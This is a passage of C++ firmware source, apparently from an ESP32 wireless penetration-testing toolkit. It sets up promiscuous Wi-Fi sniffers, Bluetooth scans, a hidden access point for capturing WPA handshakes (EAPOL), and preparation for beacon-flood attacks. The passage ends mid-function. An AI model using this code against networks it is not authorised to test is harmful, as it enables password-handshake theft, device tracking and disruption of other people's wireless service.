  565. void WiFiScan::RunClearSSIDs() {
  566. #ifdef HAS_SCREEN
  567. display_obj.tft.setTextWrap(false);
  568. display_obj.tft.setFreeFont(NULL);
  569. display_obj.tft.setCursor(0, 100);
  570. display_obj.tft.setTextSize(1);
  571. display_obj.tft.setTextColor(TFT_CYAN);
  572. display_obj.tft.println(F(text_table4[11]));
  573. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  574. #else
  575. this->clearSSIDs();
  576. #endif
  577. }
  578. void WiFiScan::RunGenerateSSIDs(int count) {
  579. #ifdef HAS_SCREEN
  580. display_obj.tft.setTextWrap(false);
  581. display_obj.tft.setFreeFont(NULL);
  582. display_obj.tft.setCursor(0, 100);
  583. display_obj.tft.setTextSize(1);
  584. display_obj.tft.setTextColor(TFT_CYAN);
  585. display_obj.tft.println(F(text_table4[13]));
  586. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  587. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  588. #else
  589. this->generateSSIDs(count);
  590. #endif
  591. }
  592. void WiFiScan::RunShutdownWiFi() {
  593. #ifdef HAS_SCREEN
  594. display_obj.tft.setTextWrap(false);
  595. display_obj.tft.setFreeFont(NULL);
  596. display_obj.tft.setCursor(0, 100);
  597. display_obj.tft.setTextSize(1);
  598. display_obj.tft.setTextColor(TFT_CYAN);
  599. display_obj.tft.print(F(text_table4[16]));
  600. #endif
  601. if (this->wifi_initialized) {
  602. this->shutdownWiFi();
  603. #ifdef HAS_SCREEN
  604. display_obj.tft.setTextColor(TFT_GREEN);
  605. display_obj.tft.println(F("OK"));
  606. #endif
  607. }
  608. else {
  609. #ifdef HAS_SCREEN
  610. display_obj.tft.setTextColor(TFT_RED);
  611. display_obj.tft.println(F(text17));
  612. display_obj.tft.println(F(text_table4[17]));
  613. #endif
  614. }
  615. }
  616. void WiFiScan::RunShutdownBLE() {
  617. #ifdef HAS_SCREEN
  618. display_obj.tft.setTextWrap(false);
  619. display_obj.tft.setFreeFont(NULL);
  620. display_obj.tft.setCursor(0, 100);
  621. display_obj.tft.setTextSize(1);
  622. display_obj.tft.setTextColor(TFT_CYAN);
  623. display_obj.tft.print(F(text_table4[18]));
  624. #endif
  625. if (this->ble_initialized) {
  626. this->shutdownBLE();
  627. #ifdef HAS_SCREEN
  628. display_obj.tft.setTextColor(TFT_GREEN);
  629. display_obj.tft.println(F("OK"));
  630. #endif
  631. }
  632. else {
  633. #ifdef HAS_SCREEN
  634. display_obj.tft.setTextColor(TFT_RED);
  635. display_obj.tft.println(F(text17));
  636. display_obj.tft.println(F(text_table4[19]));
  637. #endif
  638. }
  639. }
  640. void WiFiScan::RunInfo()
  641. {
  642. String sta_mac = this->getStaMAC();
  643. String ap_mac = this->getApMAC();
  644. String free_ram = this->freeRAM();
  645. //Serial.print("STA MAC: ");
  646. //Serial.println(sta_mac);
  647. //Serial.print("AP MAC: ");
  648. //Serial.println(ap_mac);
  649. Serial.println(free_ram);
  650. #ifdef HAS_SCREEN
  651. display_obj.tft.setTextWrap(false);
  652. display_obj.tft.setFreeFont(NULL);
  653. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  654. display_obj.tft.setTextSize(1);
  655. display_obj.tft.setTextColor(TFT_CYAN);
  656. display_obj.tft.println(text_table4[20]);
  657. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  658. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  659. #endif
  660. if (this->wsl_bypass_enabled) {
  661. #ifdef HAS_SCREEN
  662. display_obj.tft.println(text_table4[23]);
  663. #endif
  664. }
  665. else {
  666. #ifdef HAS_SCREEN
  667. display_obj.tft.println(text_table4[24]);
  668. #endif
  669. }
  670. #ifdef HAS_SCREEN
  671. display_obj.tft.println(text_table4[25] + sta_mac);
  672. display_obj.tft.println(text_table4[26] + ap_mac);
  673. display_obj.tft.println(text_table4[27] + free_ram);
  674. #endif
  675. if (sd_obj.supported) {
  676. #ifdef HAS_SCREEN
  677. display_obj.tft.println(text_table4[28]);
  678. display_obj.tft.print(text_table4[29]);
  679. display_obj.tft.print(sd_obj.card_sz);
  680. display_obj.tft.println("MB");
  681. #endif
  682. }
  683. else {
  684. #ifdef HAS_SCREEN
  685. display_obj.tft.println(text_table4[30]);
  686. display_obj.tft.println(text_table4[31]);
  687. #endif
  688. }
  689. battery_obj.battery_level = battery_obj.getBatteryLevel();
  690. if (battery_obj.i2c_supported) {
  691. #ifdef HAS_SCREEN
  692. display_obj.tft.println(text_table4[32]);
  693. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  694. #endif
  695. }
  696. else {
  697. #ifdef HAS_SCREEN
  698. display_obj.tft.println(text_table4[34]);
  699. #endif
  700. }
  701. #ifdef HAS_SCREEN
  702. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  703. #endif
  704. }
  705. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  706. sd_obj.openCapture("espressif");
  707. #ifdef MARAUDER_FLIPPER
  708. flipper_led.sniffLED();
  709. #else
  710. led_obj.setMode(MODE_SNIFF);
  711. #endif
  712. #ifdef HAS_SCREEN
  713. display_obj.TOP_FIXED_AREA_2 = 48;
  714. display_obj.tteBar = true;
  715. display_obj.print_delay_1 = 15;
  716. display_obj.print_delay_2 = 10;
  717. display_obj.initScrollValues(true);
  718. display_obj.tft.setTextWrap(false);
  719. display_obj.tft.setTextColor(TFT_WHITE, color);
  720. #ifndef MARAUDER_MINI
  721. display_obj.tft.fillRect(0,16,240,16, color);
  722. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  723. display_obj.touchToExit();
  724. #endif
  725. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  726. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  727. #endif
  728. esp_wifi_init(&cfg);
  729. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  730. esp_wifi_set_mode(WIFI_MODE_NULL);
  731. esp_wifi_start();
  732. esp_wifi_set_promiscuous(true);
  733. esp_wifi_set_promiscuous_filter(&filt);
  734. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  735. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  736. this->wifi_initialized = true;
  737. initTime = millis();
  738. }
  739. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  740. {
  741. #ifdef MARAUDER_FLIPPER
  742. flipper_led.sniffLED();
  743. #else
  744. led_obj.setMode(MODE_SNIFF);
  745. #endif
  746. sd_obj.openCapture("packet_monitor");
  747. #ifndef MARAUDER_MINI
  748. #ifdef HAS_SCREEN
  749. display_obj.tft.init();
  750. display_obj.tft.setRotation(1);
  751. display_obj.tft.fillScreen(TFT_BLACK);
  752. #endif
  753. #ifdef HAS_SCREEN
  754. #ifdef TFT_SHIELD
  755. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  756. Serial.println("Using TFT Shield");
  757. #else if defined(TFT_DIY)
  758. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  759. Serial.println("Using TFT DIY");
  760. #endif
  761. display_obj.tft.setTouch(calData);
  762. //display_obj.tft.setFreeFont(1);
  763. display_obj.tft.setFreeFont(NULL);
  764. display_obj.tft.setTextSize(1);
  765. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  766. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  767. delay(10);
  768. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  769. display_obj.tftDrawColorKey();
  770. display_obj.tftDrawXScaleButtons(x_scale);
  771. display_obj.tftDrawYScaleButtons(y_scale);
  772. display_obj.tftDrawChannelScaleButtons(set_channel);
  773. display_obj.tftDrawExitScaleButtons();
  774. #endif
  775. #else
  776. #ifdef HAS_SCREEN
  777. display_obj.TOP_FIXED_AREA_2 = 48;
  778. display_obj.tteBar = true;
  779. display_obj.print_delay_1 = 15;
  780. display_obj.print_delay_2 = 10;
  781. display_obj.initScrollValues(true);
  782. display_obj.tft.setTextWrap(false);
  783. display_obj.tft.setTextColor(TFT_WHITE, color);
  784. #ifndef MARAUDER_MINI
  785. display_obj.tft.fillRect(0,16,240,16, color);
  786. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  787. display_obj.touchToExit();
  788. #endif
  789. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  790. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  791. #endif
  792. #endif
  793. Serial.println("Running packet scan...");
  794. esp_wifi_init(&cfg);
  795. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  796. esp_wifi_set_mode(WIFI_MODE_NULL);
  797. esp_wifi_start();
  798. esp_wifi_set_promiscuous(true);
  799. esp_wifi_set_promiscuous_filter(&filt);
  800. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  801. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  802. this->wifi_initialized = true;
  803. uint32_t initTime = millis();
  804. }
  805. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  806. {
  807. #ifdef MARAUDER_FLIPPER
  808. flipper_led.sniffLED();
  809. #else
  810. led_obj.setMode(MODE_SNIFF);
  811. #endif
  812. num_eapol = 0;
  813. #ifndef MARAUDER_MINI
  814. #ifdef HAS_SCREEN
  815. display_obj.tft.init();
  816. display_obj.tft.setRotation(1);
  817. display_obj.tft.fillScreen(TFT_BLACK);
  818. #endif
  819. sd_obj.openCapture("eapol");
  820. #ifdef HAS_SCREEN
  821. #ifdef TFT_SHIELD
  822. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  823. //Serial.println("Using TFT Shield");
  824. #else if defined(TFT_DIY)
  825. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  826. //Serial.println("Using TFT DIY");
  827. #endif
  828. display_obj.tft.setTouch(calData);
  829. display_obj.tft.setFreeFont(NULL);
  830. display_obj.tft.setTextSize(1);
  831. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  832. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  833. delay(10);
  834. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  835. display_obj.tftDrawEapolColorKey();
  836. display_obj.tftDrawChannelScaleButtons(set_channel);
  837. display_obj.tftDrawExitScaleButtons();
  838. #endif
  839. #else
  840. sd_obj.openCapture("eapol");
  841. #ifdef HAS_SCREEN
  842. display_obj.TOP_FIXED_AREA_2 = 48;
  843. display_obj.tteBar = true;
  844. display_obj.print_delay_1 = 15;
  845. display_obj.print_delay_2 = 10;
  846. display_obj.initScrollValues(true);
  847. display_obj.tft.setTextWrap(false);
  848. display_obj.tft.setTextColor(TFT_WHITE, color);
  849. #ifndef MARAUDER_MINI
  850. display_obj.tft.fillRect(0,16,240,16, color);
  851. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  852. display_obj.touchToExit();
  853. #endif
  854. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  855. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  856. #endif
  857. #endif
  858. esp_wifi_init(&cfg);
  859. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  860. esp_wifi_set_mode(WIFI_MODE_AP);
  861. esp_err_t err;
  862. wifi_config_t conf;
  863. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  864. if (err != 0)
  865. {
  866. Serial.print("could not set protocol : err=0x");
  867. Serial.println(err, HEX);
  868. }
  869. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  870. conf.ap.ssid[0] = '\0';
  871. conf.ap.ssid_len = 0;
  872. conf.ap.channel = this->set_channel;
  873. conf.ap.ssid_hidden = 1;
  874. conf.ap.max_connection = 0;
  875. conf.ap.beacon_interval = 60000;
  876. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  877. if (err != 0)
  878. {
  879. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  880. Serial.println(err, HEX);
  881. }
  882. esp_wifi_start();
  883. esp_wifi_set_promiscuous(true);
  884. esp_wifi_set_promiscuous_filter(&filt);
  885. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  886. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  887. else
  888. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  889. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  890. this->wifi_initialized = true;
  891. initTime = millis();
  892. }
  893. // Function to prepare for beacon mimic
  894. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  895. #ifdef HAS_SCREEN
  896. display_obj.TOP_FIXED_AREA_2 = 48;
  897. display_obj.tteBar = true;
  898. display_obj.print_delay_1 = 15;
  899. display_obj.print_delay_2 = 10;
  900. display_obj.initScrollValues(true);
  901. display_obj.tft.setTextWrap(false);
  902. display_obj.tft.setTextColor(TFT_BLACK, color);
  903. #ifndef MARAUDER_MINI
  904. display_obj.tft.fillRect(0,16,240,16, color);
  905. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  906. display_obj.touchToExit();
  907. #endif
  908. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  909. #endif
  910. packets_sent = 0;
  911. esp_wifi_init(&cfg);
  912. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  913. esp_wifi_set_mode(WIFI_AP_STA);
  914. esp_wifi_start();
  915. esp_wifi_set_promiscuous_filter(NULL);
  916. esp_wifi_set_promiscuous(true);
  917. esp_wifi_set_max_tx_power(78);
  918. this->wifi_initialized = true;
  919. initTime = millis();
  920. }
  921. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  922. {
  923. sd_obj.openCapture("pwnagotchi");
  924. #ifdef MARAUDER_FLIPPER
  925. flipper_led.sniffLED();
  926. #else
  927. led_obj.setMode(MODE_SNIFF);
  928. #endif
  929. #ifdef HAS_SCREEN
  930. display_obj.TOP_FIXED_AREA_2 = 48;
  931. display_obj.tteBar = true;
  932. display_obj.print_delay_1 = 15;
  933. display_obj.print_delay_2 = 10;
  934. display_obj.initScrollValues(true);
  935. display_obj.tft.setTextWrap(false);
  936. display_obj.tft.setTextColor(TFT_WHITE, color);
  937. #ifndef MARAUDER_MINI
  938. display_obj.tft.fillRect(0,16,240,16, color);
  939. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  940. display_obj.touchToExit();
  941. #endif
  942. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  943. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  944. #endif
  945. esp_wifi_init(&cfg);
  946. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  947. esp_wifi_set_mode(WIFI_MODE_NULL);
  948. esp_wifi_start();
  949. esp_wifi_set_promiscuous(true);
  950. esp_wifi_set_promiscuous_filter(&filt);
  951. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  952. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  953. this->wifi_initialized = true;
  954. initTime = millis();
  955. }
  956. // Function to start running a beacon scan
  957. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  958. {
  959. sd_obj.openCapture("beacon");
  960. #ifdef MARAUDER_FLIPPER
  961. flipper_led.sniffLED();
  962. #else
  963. led_obj.setMode(MODE_SNIFF);
  964. #endif
  965. #ifdef HAS_SCREEN
  966. display_obj.TOP_FIXED_AREA_2 = 48;
  967. display_obj.tteBar = true;
  968. display_obj.print_delay_1 = 15;
  969. display_obj.print_delay_2 = 10;
  970. display_obj.initScrollValues(true);
  971. display_obj.tft.setTextWrap(false);
  972. display_obj.tft.setTextColor(TFT_WHITE, color);
  973. #ifndef MARAUDER_MINI
  974. display_obj.tft.fillRect(0,16,240,16, color);
  975. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  976. display_obj.touchToExit();
  977. #endif
  978. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  979. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  980. #endif
  981. esp_wifi_init(&cfg);
  982. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  983. esp_wifi_set_mode(WIFI_MODE_NULL);
  984. esp_wifi_start();
  985. esp_wifi_set_promiscuous(true);
  986. esp_wifi_set_promiscuous_filter(&filt);
  987. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  988. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  989. this->wifi_initialized = true;
  990. initTime = millis();
  991. }
  992. void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
  993. {
  994. sd_obj.openCapture("station");
  995. #ifdef MARAUDER_FLIPPER
  996. flipper_led.sniffLED();
  997. #else
  998. led_obj.setMode(MODE_SNIFF);
  999. #endif
  1000. #ifdef HAS_SCREEN
  1001. display_obj.TOP_FIXED_AREA_2 = 48;
  1002. display_obj.tteBar = true;
  1003. display_obj.print_delay_1 = 15;
  1004. display_obj.print_delay_2 = 10;
  1005. display_obj.initScrollValues(true);
  1006. display_obj.tft.setTextWrap(false);
  1007. display_obj.tft.setTextColor(TFT_WHITE, color);
  1008. #ifndef MARAUDER_MINI
  1009. display_obj.tft.fillRect(0,16,240,16, color);
  1010. display_obj.tft.drawCentreString(text_table1[59],120,16,2);
  1011. display_obj.touchToExit();
  1012. #endif
  1013. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1014. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1015. #endif
  1016. esp_wifi_init(&cfg);
  1017. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1018. esp_wifi_set_mode(WIFI_MODE_NULL);
  1019. esp_wifi_start();
  1020. esp_wifi_set_promiscuous(true);
  1021. esp_wifi_set_promiscuous_filter(&filt);
  1022. esp_wifi_set_promiscuous_rx_cb(&stationSnifferCallback);
  1023. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1024. this->wifi_initialized = true;
  1025. initTime = millis();
  1026. }
  1027. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  1028. {
  1029. sd_obj.openCapture("raw");
  1030. #ifdef MARAUDER_FLIPPER
  1031. flipper_led.sniffLED();
  1032. #else
  1033. led_obj.setMode(MODE_SNIFF);
  1034. #endif
  1035. #ifdef HAS_SCREEN
  1036. display_obj.TOP_FIXED_AREA_2 = 48;
  1037. display_obj.tteBar = true;
  1038. display_obj.print_delay_1 = 15;
  1039. display_obj.print_delay_2 = 10;
  1040. display_obj.initScrollValues(true);
  1041. display_obj.tft.setTextWrap(false);
  1042. display_obj.tft.setTextColor(TFT_WHITE, color);
  1043. #ifndef MARAUDER_MINI
  1044. display_obj.tft.fillRect(0,16,240,16, color);
  1045. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  1046. display_obj.touchToExit();
  1047. #endif
  1048. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1049. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1050. #endif
  1051. esp_wifi_init(&cfg);
  1052. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1053. esp_wifi_set_mode(WIFI_MODE_NULL);
  1054. esp_wifi_start();
  1055. esp_wifi_set_promiscuous(true);
  1056. esp_wifi_set_promiscuous_filter(&filt);
  1057. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  1058. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1059. this->wifi_initialized = true;
  1060. initTime = millis();
  1061. }
  1062. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  1063. {
  1064. sd_obj.openCapture("deauth");
  1065. #ifdef MARAUDER_FLIPPER
  1066. flipper_led.sniffLED();
  1067. #else
  1068. led_obj.setMode(MODE_SNIFF);
  1069. #endif
  1070. #ifdef HAS_SCREEN
  1071. display_obj.TOP_FIXED_AREA_2 = 48;
  1072. display_obj.tteBar = true;
  1073. display_obj.print_delay_1 = 15;
  1074. display_obj.print_delay_2 = 10;
  1075. display_obj.initScrollValues(true);
  1076. display_obj.tft.setTextWrap(false);
  1077. display_obj.tft.setTextColor(TFT_BLACK, color);
  1078. #ifndef MARAUDER_MINI
  1079. display_obj.tft.fillRect(0,16,240,16, color);
  1080. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  1081. display_obj.touchToExit();
  1082. #endif
  1083. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  1084. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1085. #endif
  1086. esp_wifi_init(&cfg);
  1087. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1088. esp_wifi_set_mode(WIFI_MODE_NULL);
  1089. esp_wifi_start();
  1090. esp_wifi_set_promiscuous(true);
  1091. esp_wifi_set_promiscuous_filter(&filt);
  1092. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1093. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1094. this->wifi_initialized = true;
  1095. initTime = millis();
  1096. }
  1097. // Function for running probe request scan
  1098. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1099. {
  1100. sd_obj.openCapture("probe");
  1101. #ifdef MARAUDER_FLIPPER
  1102. flipper_led.sniffLED();
  1103. #else
  1104. led_obj.setMode(MODE_SNIFF);
  1105. #endif
  1106. #ifdef HAS_SCREEN
  1107. display_obj.TOP_FIXED_AREA_2 = 48;
  1108. display_obj.tteBar = true;
  1109. display_obj.print_delay_1 = 15;
  1110. display_obj.print_delay_2 = 10;
  1111. display_obj.initScrollValues(true);
  1112. display_obj.tft.setTextWrap(false);
  1113. display_obj.tft.setTextColor(TFT_BLACK, color);
  1114. #ifndef MARAUDER_MINI
  1115. display_obj.tft.fillRect(0,16,240,16, color);
  1116. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1117. display_obj.touchToExit();
  1118. #endif
  1119. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1120. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1121. #endif
  1122. esp_wifi_init(&cfg);
  1123. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1124. esp_wifi_set_mode(WIFI_MODE_NULL);
  1125. esp_wifi_start();
  1126. esp_wifi_set_promiscuous(true);
  1127. esp_wifi_set_promiscuous_filter(&filt);
  1128. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1129. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1130. this->wifi_initialized = true;
  1131. initTime = millis();
  1132. }
  1133. // Function to start running any BLE scan
  1134. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1135. {
  1136. #ifdef HAS_BT
  1137. #ifdef HAS_SCREEN
  1138. display_obj.print_delay_1 = 50;
  1139. display_obj.print_delay_2 = 20;
  1140. #endif
  1141. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1142. NimBLEDevice::setScanDuplicateCacheSize(200);
  1143. NimBLEDevice::init("");
  1144. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1145. if (scan_mode == BT_SCAN_ALL)
  1146. {
  1147. #ifdef HAS_SCREEN
  1148. display_obj.TOP_FIXED_AREA_2 = 48;
  1149. display_obj.tteBar = true;
  1150. display_obj.initScrollValues(true);
  1151. display_obj.tft.setTextWrap(false);
  1152. display_obj.tft.setTextColor(TFT_BLACK, color);
  1153. #ifndef MARAUDER_MINI
  1154. display_obj.tft.fillRect(0,16,240,16, color);
  1155. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1156. display_obj.touchToExit();
  1157. #endif
  1158. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1159. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1160. #endif
  1161. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1162. }
  1163. else if (scan_mode == BT_SCAN_SKIMMERS)
  1164. {
  1165. #ifdef HAS_SCREEN
  1166. display_obj.TOP_FIXED_AREA_2 = 160;
  1167. display_obj.tteBar = true;
  1168. display_obj.tft.fillScreen(TFT_DARKGREY);
  1169. display_obj.initScrollValues(true);
  1170. display_obj.tft.setTextWrap(false);
  1171. display_obj.tft.setTextColor(TFT_BLACK, color);
  1172. display_obj.tft.fillRect(0,16,240,16, color);
  1173. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1174. display_obj.twoPartDisplay(text_table4[43]);
  1175. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1176. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1177. #endif
  1178. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1179. }
  1180. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1181. pBLEScan->setInterval(97);
  1182. pBLEScan->setWindow(37); // less or equal setInterval value
  1183. pBLEScan->setMaxResults(0);
  1184. pBLEScan->start(0, scanCompleteCB, false);
  1185. Serial.println("Started BLE Scan");
  1186. this->ble_initialized = true;
  1187. initTime = millis();
  1188. #endif
  1189. }
  1190. // Function that is called when BLE scan is completed
  1191. #ifdef HAS_BT
  1192. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1193. printf("Scan complete!\n");
  1194. printf("Found %d devices\n", scanResults.getCount());
  1195. scanResults.dump();
  1196. } // scanCompleteCB
  1197. #endif
  1198. // Function to extract MAC addr from a packet at given offset
  1199. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1200. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1201. }
  1202. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1203. {
  1204. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1205. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1206. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1207. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1208. int len = snifferPacket->rx_ctrl.sig_len;
  1209. String display_string = "";
  1210. String src_addr_string = "";
  1211. if (type == WIFI_PKT_MGMT)
  1212. {
  1213. len -= 4;
  1214. }
  1215. int fctl = ntohs(frameControl->fctl);
  1216. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1217. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1218. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1219. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1220. //{
  1221. char addr[] = "00:00:00:00:00:00";
  1222. getMAC(addr, snifferPacket->payload, 10);
  1223. src_addr_string.concat(addr);
  1224. bool match = false;
  1225. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1226. if (src_addr_string.startsWith(espressif_macs[i])) {
  1227. match = true;
  1228. break;
  1229. }
  1230. }
  1231. if (!match)
  1232. return;
  1233. delay(random(0, 10));
  1234. Serial.print("RSSI: ");
  1235. Serial.print(snifferPacket->rx_ctrl.rssi);
  1236. Serial.print(" Ch: ");
  1237. Serial.print(snifferPacket->rx_ctrl.channel);
  1238. Serial.print(" BSSID: ");
  1239. Serial.print(addr);
  1240. //display_string.concat(" RSSI: ");
  1241. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1242. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1243. //display_string.concat(" ");
  1244. display_string.concat(" -> ");
  1245. display_string.concat(addr);
  1246. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1247. {
  1248. display_string.concat(" ");
  1249. }
  1250. Serial.print(" ");
  1251. #ifdef HAS_SCREEN
  1252. display_obj.loading = true;
  1253. display_obj.display_buffer->add(display_string);
  1254. display_obj.loading = false;
  1255. #endif
  1256. Serial.println();
  1257. if (save_packet)
  1258. sd_obj.addPacket(snifferPacket->payload, len);
  1259. //}
  1260. }
  1261. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1262. {
  1263. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1264. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1265. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1266. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1267. int len = snifferPacket->rx_ctrl.sig_len;
  1268. String display_string = "";
  1269. String src = "";
  1270. String essid = "";
  1271. if (type == WIFI_PKT_MGMT)
  1272. {
  1273. len -= 4;
  1274. int fctl = ntohs(frameControl->fctl);
